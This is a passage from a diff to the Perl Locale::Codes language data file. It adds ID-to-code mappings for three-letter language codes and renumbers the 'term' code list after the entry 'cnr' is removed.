+      q(7530) => q(xwa),
+      q(7531) => q(xwc),
+      q(7532) => q(xwd),
+      q(7533) => q(xwe),
+      q(7534) => q(xwg),
+      q(7535) => q(xwj),
+      q(7536) => q(xwk),
+      q(7537) => q(xwl),
+      q(7538) => q(xwo),
+      q(7539) => q(xwr),
+      q(7540) => q(xwt),
+      q(7541) => q(xww),
+      q(7542) => q(xxb),
+      q(7543) => q(xxk),
+      q(7544) => q(xxm),
+      q(7545) => q(xxr),
+      q(7546) => q(xxt),
+      q(7547) => q(xya),
+      q(7548) => q(xyb),
+      q(7549) => q(xyj),
+      q(7550) => q(xyk),
+      q(7551) => q(xyl),
+      q(7552) => q(xyt),
+      q(7553) => q(xyy),
+      q(7554) => q(xzh),
+      q(7555) => q(xzm),
+      q(7556) => q(xzp),
+      q(7557) => q(yaa),
+      q(7558) => q(yab),
+      q(7559) => q(yac),
+      q(7560) => q(yad),
+      q(7561) => q(yae),
+      q(7562) => q(yaf),
+      q(7563) => q(yag),
+      q(7564) => q(yah),
+      q(7565) => q(yai),
+      q(7566) => q(yaj),
+      q(7567) => q(yak),
+      q(7568) => q(yal),
+      q(7569) => q(yam),
+      q(7570) => q(yan),
+      q(7571) => q(yaq),
+      q(7572) => q(yar),
+      q(7573) => q(yas),
+      q(7574) => q(yat),
+      q(7575) => q(yau),
+      q(7576) => q(yav),
+      q(7577) => q(yaw),
+      q(7578) => q(yax),
+      q(7579) => q(yay),
+      q(7580) => q(yaz),
+      q(7581) => q(yba),
+      q(7582) => q(ybb),
+      q(7583) => q(ybe),
+      q(7584) => q(ybh),
+      q(7585) => q(ybi),
+      q(7586) => q(ybj),
+      q(7587) => q(ybk),
+      q(7588) => q(ybl),
+      q(7589) => q(ybm),
+      q(7590) => q(ybn),
+      q(7591) => q(ybo),
+      q(7592) => q(ybx),
+      q(7593) => q(yby),
+      q(7594) => q(ych),
+      q(7595) => q(ycl),
+      q(7596) => q(ycn),
+      q(7597) => q(ycp),
+      q(7598) => q(yda),
+      q(7599) => q(ydd),
+      q(7600) => q(yde),
+      q(7601) => q(ydg),
+      q(7602) => q(ydk),
+      q(7603) => q(yea),
+      q(7604) => q(yec),
+      q(7605) => q(yee),
+      q(7606) => q(yei),
+      q(7607) => q(yej),
+      q(7608) => q(yel),
+      q(7609) => q(yer),
+      q(7610) => q(yes),
+      q(7611) => q(yet),
+      q(7612) => q(yeu),
+      q(7613) => q(yev),
+      q(7614) => q(yey),
+      q(7615) => q(yga),
+      q(7616) => q(ygi),
+      q(7617) => q(ygl),
+      q(7618) => q(ygm),
+      q(7619) => q(ygp),
+      q(7620) => q(ygr),
+      q(7621) => q(ygs),
+      q(7622) => q(ygu),
+      q(7623) => q(ygw),
+      q(7624) => q(yha),
+      q(7625) => q(yhd),
+      q(7626) => q(yhl),
+      q(7627) => q(yhs),
+      q(7628) => q(yia),
+      q(7629) => q(yig),
+      q(7630) => q(yih),
+      q(7631) => q(yii),
+      q(7632) => q(yij),
+      q(7633) => q(yik),
+      q(7634) => q(yil),
+      q(7635) => q(yim),
+      q(7636) => q(yin),
+      q(7637) => q(yip),
+      q(7638) => q(yiq),
+      q(7639) => q(yir),
+      q(7640) => q(yis),
+      q(7641) => q(yit),
+      q(7642) => q(yiu),
+      q(7643) => q(yiv),
+      q(7644) => q(yix),
+      q(7645) => q(yiz),
+      q(7646) => q(yka),
+      q(7647) => q(ykg),
+      q(7648) => q(yki),
+      q(7649) => q(ykk),
+      q(7650) => q(ykl),
+      q(7651) => q(ykm),
+      q(7652) => q(ykn),
+      q(7653) => q(yko),
+      q(7654) => q(ykr),
+      q(7655) => q(ykt),
+      q(7656) => q(yku),
+      q(7657) => q(yky),
+      q(7658) => q(yla),
+      q(7659) => q(ylb),
+      q(7660) => q(yle),
+      q(7661) => q(ylg),
+      q(7662) => q(yli),
+      q(7663) => q(yll),
+      q(7664) => q(ylm),
+      q(7665) => q(yln),
+      q(7666) => q(ylo),
+      q(7667) => q(ylr),
+      q(7668) => q(ylu),
+      q(7669) => q(yly),
+      q(7670) => q(ymb),
+      q(7671) => q(ymc),
+      q(7672) => q(ymd),
+      q(7673) => q(yme),
+      q(7674) => q(ymg),
+      q(7675) => q(ymh),
+      q(7676) => q(ymi),
+      q(7677) => q(ymk),
+      q(7678) => q(yml),
+      q(7679) => q(ymm),
+      q(7680) => q(ymn),
+      q(7681) => q(ymo),
+      q(7682) => q(ymp),
+      q(7683) => q(ymq),
+      q(7684) => q(ymr),
+      q(7685) => q(yms),
+      q(7686) => q(ymx),
+      q(7687) => q(ymz),
+      q(7688) => q(yna),
+      q(7689) => q(ynd),
+      q(7690) => q(yne),
+      q(7691) => q(yng),
+      q(7692) => q(ynk),
+      q(7693) => q(ynl),
+      q(7694) => q(ynn),
+      q(7695) => q(yno),
+      q(7696) => q(ynq),
+      q(7697) => q(yns),
+      q(7698) => q(ynu),
+      q(7699) => q(yob),
+      q(7700) => q(yog),
+      q(7701) => q(yoi),
+      q(7702) => q(yok),
+      q(7703) => q(yol),
+      q(7704) => q(yom),
+      q(7705) => q(yon),
+      q(7706) => q(yot),
+      q(7707) => q(yox),
+      q(7708) => q(yoy),
+      q(7709) => q(ypa),
+      q(7710) => q(ypb),
+      q(7711) => q(ypg),
+      q(7712) => q(yph),
+      q(7713) => q(ypm),
+      q(7714) => q(ypn),
+      q(7715) => q(ypo),
+      q(7716) => q(ypp),
+      q(7717) => q(ypz),
+      q(7718) => q(yra),
+      q(7719) => q(yrb),
+      q(7720) => q(yre),
+      q(7721) => q(yrk),
+      q(7722) => q(yrl),
+      q(7723) => q(yrm),
+      q(7724) => q(yrn),
+      q(7725) => q(yro),
+      q(7726) => q(yrs),
+      q(7727) => q(yrw),
+      q(7728) => q(yry),
+      q(7729) => q(ysc),
+      q(7730) => q(ysd),
+      q(7731) => q(ysg),
+      q(7732) => q(ysl),
+      q(7733) => q(ysn),
+      q(7734) => q(yso),
+      q(7735) => q(ysp),
+      q(7736) => q(ysr),
+      q(7737) => q(yss),
+      q(7738) => q(ysy),
+      q(7739) => q(yta),
+      q(7740) => q(ytl),
+      q(7741) => q(ytp),
+      q(7742) => q(ytw),
+      q(7743) => q(yty),
+      q(7744) => q(yua),
+      q(7745) => q(yub),
+      q(7746) => q(yuc),
+      q(7747) => q(yud),
+      q(7748) => q(yue),
+      q(7749) => q(yuf),
+      q(7750) => q(yug),
+      q(7751) => q(yui),
+      q(7752) => q(yuj),
+      q(7753) => q(yuk),
+      q(7754) => q(yul),
+      q(7755) => q(yum),
+      q(7756) => q(yun),
+      q(7757) => q(yup),
+      q(7758) => q(yuq),
+      q(7759) => q(yur),
+      q(7760) => q(yut),
+      q(7761) => q(yuw),
+      q(7762) => q(yux),
+      q(7763) => q(yuy),
+      q(7764) => q(yuz),
+      q(7765) => q(yva),
+      q(7766) => q(yvt),
+      q(7767) => q(ywa),
+      q(7768) => q(ywg),
+      q(7769) => q(ywl),
+      q(7770) => q(ywn),
+      q(7771) => q(ywq),
+      q(7772) => q(ywr),
+      q(7773) => q(ywt),
+      q(7774) => q(ywu),
+      q(7775) => q(yww),
+      q(7776) => q(yxa),
+      q(7777) => q(yxg),
+      q(7778) => q(yxl),
+      q(7779) => q(yxm),
+      q(7780) => q(yxu),
+      q(7781) => q(yxy),
+      q(7782) => q(yyr),
+      q(7783) => q(yyu),
+      q(7784) => q(yyz),
+      q(7785) => q(yzg),
+      q(7786) => q(yzk),
+      q(7787) => q(zaa),
+      q(7788) => q(zab),
+      q(7789) => q(zac),
+      q(7790) => q(zad),
+      q(7791) => q(zae),
+      q(7792) => q(zaf),
+      q(7793) => q(zag),
+      q(7794) => q(zah),
+      q(7795) => q(zai),
+      q(7796) => q(zaj),
+      q(7797) => q(zak),
+      q(7798) => q(zal),
+      q(7799) => q(zam),
+      q(7800) => q(zao),
+      q(7801) => q(zaq),
+      q(7802) => q(zar),
+      q(7803) => q(zas),
+      q(7804) => q(zat),
+      q(7805) => q(zau),
+      q(7806) => q(zav),
+      q(7807) => q(zaw),
+      q(7808) => q(zax),
+      q(7809) => q(zay),
+      q(7810) => q(zaz),
+      q(7811) => q(zbc),
+      q(7812) => q(zbe),
+      q(7813) => q(zbt),
+      q(7814) => q(zbw),
+      q(7815) => q(zca),
+      q(7816) => q(zch),
+      q(7817) => q(zdj),
+      q(7818) => q(zea),
+      q(7819) => q(zeg),
+      q(7820) => q(zeh),
+      q(7821) => q(zga),
+      q(7822) => q(zgb),
+      q(7823) => q(zgm),
+      q(7824) => q(zgn),
+      q(7825) => q(zgr),
+      q(7826) => q(zhb),
+      q(7827) => q(zhd),
+      q(7828) => q(zhi),
+      q(7829) => q(zhn),
+      q(7830) => q(zhw),
+      q(7831) => q(zia),
+      q(7832) => q(zib),
+      q(7833) => q(zik),
+      q(7834) => q(zil),
+      q(7835) => q(zim),
+      q(7836) => q(zin),
+      q(7837) => q(zir),
+      q(7838) => q(ziw),
+      q(7839) => q(ziz),
+      q(7840) => q(zka),
+      q(7841) => q(zkb),
+      q(7842) => q(zkd),
+      q(7843) => q(zkg),
+      q(7844) => q(zkh),
+      q(7845) => q(zkk),
+      q(7846) => q(zkn),
+      q(7847) => q(zko),
+      q(7848) => q(zkp),
+      q(7849) => q(zkr),
+      q(7850) => q(zkt),
+      q(7851) => q(zku),
+      q(7852) => q(zkv),
+      q(7853) => q(zkz),
+      q(7854) => q(zlj),
+      q(7855) => q(zlm),
+      q(7856) => q(zln),
+      q(7857) => q(zlq),
+      q(7858) => q(zma),
+      q(7859) => q(zmb),
+      q(7860) => q(zmc),
+      q(7861) => q(zmd),
+      q(7862) => q(zme),
+      q(7863) => q(zmf),
+      q(7864) => q(zmg),
+      q(7865) => q(zmh),
+      q(7866) => q(zmi),
+      q(7867) => q(zmj),
+      q(7868) => q(zmk),
+      q(7869) => q(zml),
+      q(7870) => q(zmm),
+      q(7871) => q(zmn),
+      q(7872) => q(zmo),
+      q(7873) => q(zmp),
+      q(7874) => q(zmq),
+      q(7875) => q(zmr),
+      q(7876) => q(zms),
+      q(7877) => q(zmt),
+      q(7878) => q(zmu),
+      q(7879) => q(zmv),
+      q(7880) => q(zmw),
+      q(7881) => q(zmx),
+      q(7882) => q(zmy),
+      q(7883) => q(zmz),
+      q(7884) => q(zna),
+      q(7885) => q(zne),
+      q(7886) => q(zng),
+      q(7887) => q(znk),
+      q(7888) => q(zns),
+      q(7889) => q(zoc),
+      q(7890) => q(zoh),
+      q(7891) => q(zom),
+      q(7892) => q(zoo),
+      q(7893) => q(zoq),
+      q(7894) => q(zor),
+      q(7895) => q(zos),
+      q(7896) => q(zpa),
+      q(7897) => q(zpb),
+      q(7898) => q(zpc),
+      q(7899) => q(zpd),
+      q(7900) => q(zpe),
+      q(7901) => q(zpf),
+      q(7902) => q(zpg),
+      q(7903) => q(zph),
+      q(7904) => q(zpi),
+      q(7905) => q(zpj),
+      q(7906) => q(zpk),
+      q(7907) => q(zpl),
+      q(7908) => q(zpm),
+      q(7909) => q(zpn),
+      q(7910) => q(zpo),
+      q(7911) => q(zpp),
+      q(7912) => q(zpq),
+      q(7913) => q(zpr),
+      q(7914) => q(zps),
+      q(7915) => q(zpt),
+      q(7916) => q(zpu),
+      q(7917) => q(zpv),
+      q(7918) => q(zpw),
+      q(7919) => q(zpx),
+      q(7920) => q(zpy),
+      q(7921) => q(zpz),
+      q(7922) => q(zqe),
+      q(7923) => q(zra),
+      q(7924) => q(zrg),
+      q(7925) => q(zrn),
+      q(7926) => q(zro),
+      q(7927) => q(zrp),
+      q(7928) => q(zrs),
+      q(7929) => q(zsa),
+      q(7930) => q(zsk),
+      q(7931) => q(zsl),
+      q(7932) => q(zsm),
+      q(7933) => q(zsr),
+      q(7934) => q(zsu),
+      q(7935) => q(zte),
+      q(7936) => q(ztg),
+      q(7937) => q(ztl),
+      q(7938) => q(ztm),
+      q(7939) => q(ztn),
+      q(7940) => q(ztp),
+      q(7941) => q(ztq),
+      q(7942) => q(zts),
+      q(7943) => q(ztt),
+      q(7944) => q(ztu),
+      q(7945) => q(ztx),
+      q(7946) => q(zty),
+      q(7947) => q(zua),
+      q(7948) => q(zuh),
+      q(7949) => q(zum),
+      q(7950) => q(zuy),
+      q(7951) => q(zwa),
+      q(7952) => q(zyb),
+      q(7953) => q(zyg),
+      q(7954) => q(zyj),
+      q(7955) => q(zyn),
+      q(7956) => q(zyp),
+      q(7957) => q(zzj),
       },
    q(term) => {
       q(0001) => q(aar),
@@ -100356,404 +100271,403 @@ $Locale::Codes::Data{'language'}{'id2code'} = {
       q(0087) => q(chv),
       q(0088) => q(chy),
       q(0089) => q(cmc),
-      q(0090) => q(cnr),
-      q(0091) => q(cop),
-      q(0092) => q(cor),
-      q(0093) => q(cos),
-      q(0094) => q(cpe),
-      q(0095) => q(cpf),
-      q(0096) => q(cpp),
-      q(0097) => q(cre),
-      q(0098) => q(crh),
-      q(0099) => q(crp),
-      q(0100) => q(csb),
-      q(0101) => q(cus),
-      q(0102) => q(ces),
-      q(0103) => q(dak),
-      q(0104) => q(dan),
-      q(0105) => q(dar),
-      q(0106) => q(day),
-      q(0107) => q(del),
-      q(0108) => q(den),
-      q(0109) => q(dgr),
-      q(0110) => q(din),
-      q(0111) => q(div),
-      q(0112) => q(doi),
-      q(0113) => q(dra),
-      q(0114) => q(dsb),
-      q(0115) => q(dua),
-      q(0116) => q(dum),
-      q(0117) => q(nld),
-      q(0118) => q(dyu),
-      q(0119) => q(dzo),
-      q(0120) => q(efi),
-      q(0121) => q(egy),
-      q(0122) => q(eka),
-      q(0123) => q(elx),
-      q(0124) => q(eng),
-      q(0125) => q(enm),
-      q(0126) => q(epo),
-      q(0127) => q(est),
-      q(0128) => q(ewe),
-      q(0129) => q(ewo),
-      q(0130) => q(fan),
-      q(0131) => q(fao),
-      q(0132) => q(fat),
-      q(0133) => q(fij),
-      q(0134) => q(fil),
-      q(0135) => q(fin),
-      q(0136) => q(fiu),
-      q(0137) => q(fon),
-      q(0138) => q(fra),
-      q(0139) => q(frm),
-      q(0140) => q(fro),
-      q(0141) => q(frr),
-      q(0142) => q(frs),
-      q(0143) => q(fry),
-      q(0144) => q(ful),
-      q(0145) => q(fur),
-      q(0146) => q(gaa),
-      q(0147) => q(gay),
-      q(0148) => q(gba),
-      q(0149) => q(gem),
-      q(0150) => q(kat),
-      q(0151) => q(deu),
-      q(0152) => q(gez),
-      q(0153) => q(gil),
-      q(0154) => q(gla),
-      q(0155) => q(gle),
-      q(0156) => q(glg),
-      q(0157) => q(glv),
-      q(0158) => q(gmh),
-      q(0159) => q(goh),
-      q(0160) => q(gon),
-      q(0161) => q(gor),
-      q(0162) => q(got),
-      q(0163) => q(grb),
-      q(0164) => q(grc),
-      q(0165) => q(ell),
-      q(0166) => q(grn),
-      q(0167) => q(gsw),
-      q(0168) => q(guj),
-      q(0169) => q(gwi),
-      q(0170) => q(hai),
-      q(0171) => q(hat),
-      q(0172) => q(hau),
-      q(0173) => q(haw),
-      q(0174) => q(heb),
-      q(0175) => q(her),
-      q(0176) => q(hil),
-      q(0177) => q(him),
-      q(0178) => q(hin),
-      q(0179) => q(hit),
-      q(0180) => q(hmn),
-      q(0181) => q(hmo),
-      q(0182) => q(hrv),
-      q(0183) => q(hsb),
-      q(0184) => q(hun),
-      q(0185) => q(hup),
-      q(0186) => q(iba),
-      q(0187) => q(ibo),
-      q(0188) => q(isl),
-      q(0189) => q(ido),
-      q(0190) => q(iii),
-      q(0191) => q(ijo),
-      q(0192) => q(iku),
-      q(0193) => q(ile),
-      q(0194) => q(ilo),
-      q(0195) => q(ina),
-      q(0196) => q(inc),
-      q(0197) => q(ind),
-      q(0198) => q(ine),
-      q(0199) => q(inh),
-      q(0200) => q(ipk),
-      q(0201) => q(ira),
-      q(0202) => q(iro),
-      q(0203) => q(ita),
-      q(0204) => q(jav),
-      q(0205) => q(jbo),
-      q(0206) => q(jpn),
-      q(0207) => q(jpr),
-      q(0208) => q(jrb),
-      q(0209) => q(kaa),
-      q(0210) => q(kab),
-      q(0211) => q(kac),
-      q(0212) => q(kal),
-      q(0213) => q(kam),
-      q(0214) => q(kan),
-      q(0215) => q(kar),
-      q(0216) => q(kas),
-      q(0217) => q(kau),
-      q(0218) => q(kaw),
-      q(0219) => q(kaz),
-      q(0220) => q(kbd),
-      q(0221) => q(kha),
-      q(0222) => q(khi),
-      q(0223) => q(khm),
-      q(0224) => q(kho),
-      q(0225) => q(kik),
-      q(0226) => q(kin),
-      q(0227) => q(kir),
-      q(0228) => q(kmb),
-      q(0229) => q(kok),
-      q(0230) => q(kom),
-      q(0231) => q(kon),
-      q(0232) => q(kor),
-      q(0233) => q(kos),
-      q(0234) => q(kpe),
-      q(0235) => q(krc),
-      q(0236) => q(krl),
-      q(0237) => q(kro),
-      q(0238) => q(kru),
-      q(0239) => q(kua),
-      q(0240) => q(kum),
-      q(0241) => q(kur),
-      q(0242) => q(kut),
-      q(0243) => q(lad),
-      q(0244) => q(lah),
-      q(0245) => q(lam),
-      q(0246) => q(lao),
-      q(0247) => q(lat),
-      q(0248) => q(lav),
-      q(0249) => q(lez),
-      q(0250) => q(lim),
-      q(0251) => q(lin),
-      q(0252) => q(lit),
-      q(0253) => q(lol),
-      q(0254) => q(loz),
-      q(0255) => q(ltz),
-      q(0256) => q(lua),
-      q(0257) => q(lub),
-      q(0258) => q(lug),
-      q(0259) => q(lui),
-      q(0260) => q(lun),
-      q(0261) => q(luo),
-      q(0262) => q(lus),
-      q(0263) => q(mkd),
-      q(0264) => q(mad),
-      q(0265) => q(mag),
-      q(0266) => q(mah),
-      q(0267) => q(mai),
-      q(0268) => q(mak),
-      q(0269) => q(mal),
-      q(0270) => q(man),
-      q(0271) => q(mri),
-      q(0272) => q(map),
-      q(0273) => q(mar),
-      q(0274) => q(mas),
-      q(0275) => q(msa),
-      q(0276) => q(mdf),
-      q(0277) => q(mdr),
-      q(0278) => q(men),
-      q(0279) => q(mga),
-      q(0280) => q(mic),
-      q(0281) => q(min),
-      q(0282) => q(mis),
-      q(0283) => q(mkh),
-      q(0284) => q(mlg),
-      q(0285) => q(mlt),
-      q(0286) => q(mnc),
-      q(0287) => q(mni),
-      q(0288) => q(mno),
-      q(0289) => q(moh),
-      q(0290) => q(mon),
-      q(0291) => q(mos),
-      q(0292) => q(mul),
-      q(0293) => q(mun),
-      q(0294) => q(mus),
-      q(0295) => q(mwl),
-      q(0296) => q(mwr),
-      q(0297) => q(myn),
-      q(0298) => q(myv),
-      q(0299) => q(nah),
-      q(0300) => q(nai),
-      q(0301) => q(nap),
-      q(0302) => q(nau),
-      q(0303) => q(nav),
-      q(0304) => q(nbl),
-      q(0305) => q(nde),
-      q(0306) => q(ndo),
-      q(0307) => q(nds),
-      q(0308) => q(nep),
-      q(0309) => q(new),
-      q(0310) => q(nia),
-      q(0311) => q(nic),
-      q(0312) => q(niu),
-      q(0313) => q(nno),
-      q(0314) => q(nob),
-      q(0315) => q(nog),
-      q(0316) => q(non),
-      q(0317) => q(nor),
-      q(0318) => q(nqo),
-      q(0319) => q(nso),
-      q(0320) => q(nub),
-      q(0321) => q(nwc),
-      q(0322) => q(nya),
-      q(0323) => q(nym),
-      q(0324) => q(nyn),
-      q(0325) => q(nyo),
-      q(0326) => q(nzi),
-      q(0327) => q(oci),
-      q(0328) => q(oji),
-      q(0329) => q(ori),
-      q(0330) => q(orm),
-      q(0331) => q(osa),
-      q(0332) => q(oss),
-      q(0333) => q(ota),
-      q(0334) => q(oto),
-      q(0335) => q(paa),
-      q(0336) => q(pag),
-      q(0337) => q(pal),
-      q(0338) => q(pam),
-      q(0339) => q(pan),
-      q(0340) => q(pap),
-      q(0341) => q(pau),
-      q(0342) => q(peo),
-      q(0343) => q(fas),
-      q(0344) => q(phi),
-      q(0345) => q(phn),
-      q(0346) => q(pli),
-      q(0347) => q(pol),
-      q(0348) => q(pon),
-      q(0349) => q(por),
-      q(0350) => q(pra),
-      q(0351) => q(pro),
-      q(0352) => q(pus),
-      q(0353) => q(qtz),
-      q(0354) => q(que),
-      q(0355) => q(raj),
-      q(0356) => q(rap),
-      q(0357) => q(rar),
-      q(0358) => q(roa),
-      q(0359) => q(roh),
-      q(0360) => q(rom),
-      q(0361) => q(ron),
-      q(0362) => q(run),
-      q(0363) => q(rup),
-      q(0364) => q(rus),
-      q(0365) => q(sad),
-      q(0366) => q(sag),
-      q(0367) => q(sah),
-      q(0368) => q(sai),
-      q(0369) => q(sal),
-      q(0370) => q(sam),
-      q(0371) => q(san),
-      q(0372) => q(sas),
-      q(0373) => q(sat),
-      q(0374) => q(scn),
-      q(0375) => q(sco),
-      q(0376) => q(sel),
-      q(0377) => q(sem),
-      q(0378) => q(sga),
-      q(0379) => q(sgn),
-      q(0380) => q(shn),
-      q(0381) => q(sid),
-      q(0382) => q(sin),
-      q(0383) => q(sio),
-      q(0384) => q(sit),
-      q(0385) => q(sla),
-      q(0386) => q(slk),
-      q(0387) => q(slv),
-      q(0388) => q(sma),
-      q(0389) => q(sme),
-      q(0390) => q(smi),
-      q(0391) => q(smj),
-      q(0392) => q(smn),
-      q(0393) => q(smo),
-      q(0394) => q(sms),
-      q(0395) => q(sna),
-      q(0396) => q(snd),
-      q(0397) => q(snk),
-      q(0398) => q(sog),
-      q(0399) => q(som),
-      q(0400) => q(son),
-      q(0401) => q(sot),
-      q(0402) => q(spa),
-      q(0403) => q(srd),
-      q(0404) => q(srn),
-      q(0405) => q(srp),
-      q(0406) => q(srr),
-      q(0407) => q(ssa),
-      q(0408) => q(ssw),
-      q(0409) => q(suk),
-      q(0410) => q(sun),
-      q(0411) => q(sus),
-      q(0412) => q(sux),
-      q(0413) => q(swa),
-      q(0414) => q(swe),
-      q(0415) => q(syc),
-      q(0416) => q(syr),
-      q(0417) => q(tah),
-      q(0418) => q(tai),
-      q(0419) => q(tam),
-      q(0420) => q(tat),
-      q(0421) => q(tel),
-      q(0422) => q(tem),
-      q(0423) => q(ter),
-      q(0424) => q(tet),
-      q(0425) => q(tgk),
-      q(0426) => q(tgl),
-      q(0427) => q(tha),
-      q(0428) => q(bod),
-      q(0429) => q(tig),
-      q(0430) => q(tir),
-      q(0431) => q(tiv),
-      q(0432) => q(tkl),
-      q(0433) => q(tlh),
-      q(0434) => q(tli),
-      q(0435) => q(tmh),
-      q(0436) => q(tog),
-      q(0437) => q(ton),
-      q(0438) => q(tpi),
-      q(0439) => q(tsi),
-      q(0440) => q(tsn),
-      q(0441) => q(tso),
-      q(0442) => q(tuk),
-      q(0443) => q(tum),
-      q(0444) => q(tup),
-      q(0445) => q(tur),
-      q(0446) => q(tut),
-      q(0447) => q(tvl),
-      q(0448) => q(twi),
-      q(0449) => q(tyv),
-      q(0450) => q(udm),
-      q(0451) => q(uga),
-      q(0452) => q(uig),
-      q(0453) => q(ukr),
-      q(0454) => q(umb),
-      q(0455) => q(und),
-      q(0456) => q(urd),
-      q(0457) => q(uzb),
-      q(0458) => q(vai),
-      q(0459) => q(ven),
-      q(0460) => q(vie),
-      q(0461) => q(vol),
-      q(0462) => q(vot),
-      q(0463) => q(wak),
-      q(0464) => q(wal),
-      q(0465) => q(war),
-      q(0466) => q(was),
-      q(0467) => q(cym),
-      q(0468) => q(wen),
-      q(0469) => q(wln),
-      q(0470) => q(wol),
-      q(0471) => q(xal),
-      q(0472) => q(xho),
-      q(0473) => q(yao),
-      q(0474) => q(yap),
-      q(0475) => q(yid),
-      q(0476) => q(yor),
-      q(0477) => q(ypk),
-      q(0478) => q(zap),
-      q(0479) => q(zbl),
-      q(0480) => q(zen),
-      q(0481) => q(zgh),
-      q(0482) => q(zha),
-      q(0483) => q(znd),
-      q(0484) => q(zul),
-      q(0485) => q(zun),
-      q(0486) => q(zxx),
-      q(0487) => q(zza),
+      q(0090) => q(cop),
+      q(0091) => q(cor),
+      q(0092) => q(cos),
+      q(0093) => q(cpe),
+      q(0094) => q(cpf),
+      q(0095) => q(cpp),
+      q(0096) => q(cre),
+      q(0097) => q(crh),
+      q(0098) => q(crp),
+      q(0099) => q(csb),
+      q(0100) => q(cus),
+      q(0101) => q(ces),
+      q(0102) => q(dak),
+      q(0103) => q(dan),
+      q(0104) => q(dar),
+      q(0105) => q(day),
+      q(0106) => q(del),
+      q(0107) => q(den),
+      q(0108) => q(dgr),
+      q(0109) => q(din),
+      q(0110) => q(div),
+      q(0111) => q(doi),
+      q(0112) => q(dra),
+      q(0113) => q(dsb),
+      q(0114) => q(dua),
+      q(0115) => q(dum),
+      q(0116) => q(nld),
+      q(0117) => q(dyu),
+      q(0118) => q(dzo),
+      q(0119) => q(efi),
+      q(0120) => q(egy),
+      q(0121) => q(eka),
+      q(0122) => q(elx),
+      q(0123) => q(eng),
+      q(0124) => q(enm),
+      q(0125) => q(epo),
+      q(0126) => q(est),
+      q(0127) => q(ewe),
+      q(0128) => q(ewo),
+      q(0129) => q(fan),
+      q(0130) => q(fao),
+      q(0131) => q(fat),
+      q(0132) => q(fij),
+      q(0133) => q(fil),
+      q(0134) => q(fin),
+      q(0135) => q(fiu),
+      q(0136) => q(fon),
+      q(0137) => q(fra),
+      q(0138) => q(frm),
+      q(0139) => q(fro),
+      q(0140) => q(frr),
+      q(0141) => q(frs),
+      q(0142) => q(fry),
+      q(0143) => q(ful),
+      q(0144) => q(fur),
+      q(0145) => q(gaa),
+      q(0146) => q(gay),
+      q(0147) => q(gba),
+      q(0148) => q(gem),
+      q(0149) => q(kat),
+      q(0150) => q(deu),
+      q(0151) => q(gez),
+      q(0152) => q(gil),
+      q(0153) => q(gla),
+      q(0154) => q(gle),
+      q(0155) => q(glg),
+      q(0156) => q(glv),
+      q(0157) => q(gmh),
+      q(0158) => q(goh),
+      q(0159) => q(gon),
+      q(0160) => q(gor),
+      q(0161) => q(got),
+      q(0162) => q(grb),
+      q(0163) => q(grc),
+      q(0164) => q(ell),
+      q(0165) => q(grn),
+      q(0166) => q(gsw),
+      q(0167) => q(guj),
+      q(0168) => q(gwi),
+      q(0169) => q(hai),
+      q(0170) => q(hat),
+      q(0171) => q(hau),
+      q(0172) => q(haw),
+      q(0173) => q(heb),
+      q(0174) => q(her),
+      q(0175) => q(hil),
+      q(0176) => q(him),
+      q(0177) => q(hin),
+      q(0178) => q(hit),
+      q(0179) => q(hmn),
+      q(0180) => q(hmo),
+      q(0181) => q(hrv),
+      q(0182) => q(hsb),
+      q(0183) => q(hun),
+      q(0184) => q(hup),
+      q(0185) => q(iba),
+      q(0186) => q(ibo),
+      q(0187) => q(isl),
+      q(0188) => q(ido),
+      q(0189) => q(iii),
+      q(0190) => q(ijo),
+      q(0191) => q(iku),
+      q(0192) => q(ile),
+      q(0193) => q(ilo),
+      q(0194) => q(ina),
+      q(0195) => q(inc),
+      q(0196) => q(ind),
+      q(0197) => q(ine),
+      q(0198) => q(inh),
+      q(0199) => q(ipk),
+      q(0200) => q(ira),
+      q(0201) => q(iro),
+      q(0202) => q(ita),
+      q(0203) => q(jav),
+      q(0204) => q(jbo),
+      q(0205) => q(jpn),
+      q(0206) => q(jpr),
+      q(0207) => q(jrb),
+      q(0208) => q(kaa),
+      q(0209) => q(kab),
+      q(0210) => q(kac),
+      q(0211) => q(kal),
+      q(0212) => q(kam),
+      q(0213) => q(kan),
+      q(0214) => q(kar),
+      q(0215) => q(kas),
+      q(0216) => q(kau),
+      q(0217) => q(kaw),
+      q(0218) => q(kaz),
+      q(0219) => q(kbd),
+      q(0220) => q(kha),
+      q(0221) => q(khi),
+      q(0222) => q(khm),
+      q(0223) => q(kho),
+      q(0224) => q(kik),
+      q(0225) => q(kin),
+      q(0226) => q(kir),
+      q(0227) => q(kmb),
+      q(0228) => q(kok),
+      q(0229) => q(kom),
+      q(0230) => q(kon),
+      q(0231) => q(kor),
+      q(0232) => q(kos),
+      q(0233) => q(kpe),
+      q(0234) => q(krc),
+      q(0235) => q(krl),
+      q(0236) => q(kro),
+      q(0237) => q(kru),
+      q(0238) => q(kua),
+      q(0239) => q(kum),
+      q(0240) => q(kur),
+      q(0241) => q(kut),
+      q(0242) => q(lad),
+      q(0243) => q(lah),
+      q(0244) => q(lam),
+      q(0245) => q(lao),
+      q(0246) => q(lat),
+      q(0247) => q(lav),
+      q(0248) => q(lez),
+      q(0249) => q(lim),
+      q(0250) => q(lin),
+      q(0251) => q(lit),
+      q(0252) => q(lol),
+      q(0253) => q(loz),
+      q(0254) => q(ltz),
+      q(0255) => q(lua),
+      q(0256) => q(lub),
+      q(0257) => q(lug),
+      q(0258) => q(lui),
+      q(0259) => q(lun),
+      q(0260) => q(luo),
+      q(0261) => q(lus),
+      q(0262) => q(mkd),
+      q(0263) => q(mad),
+      q(0264) => q(mag),
+      q(0265) => q(mah),
+      q(0266) => q(mai),
+      q(0267) => q(mak),
+      q(0268) => q(mal),
+      q(0269) => q(man),
+      q(0270) => q(mri),
+      q(0271) => q(map),
+      q(0272) => q(mar),
+      q(0273) => q(mas),
+      q(0274) => q(msa),
+      q(0275) => q(mdf),
+      q(0276) => q(mdr),
+      q(0277) => q(men),
+      q(0278) => q(mga),
+      q(0279) => q(mic),
+      q(0280) => q(min),
+      q(0281) => q(mis),
+      q(0282) => q(mkh),
+      q(0283) => q(mlg),
+      q(0284) => q(mlt),
+      q(0285) => q(mnc),
+      q(0286) => q(mni),
+      q(0287) => q(mno),
+      q(0288) => q(moh),
+      q(0289) => q(mon),
+      q(0290) => q(mos),
+      q(0291) => q(mul),
+      q(0292) => q(mun),
+      q(0293) => q(mus),
+      q(0294) => q(mwl),
+      q(0295) => q(mwr),
+      q(0296) => q(myn),
+      q(0297) => q(myv),
+      q(0298) => q(nah),
+      q(0299) => q(nai),
+      q(0300) => q(nap),
+      q(0301) => q(nau),
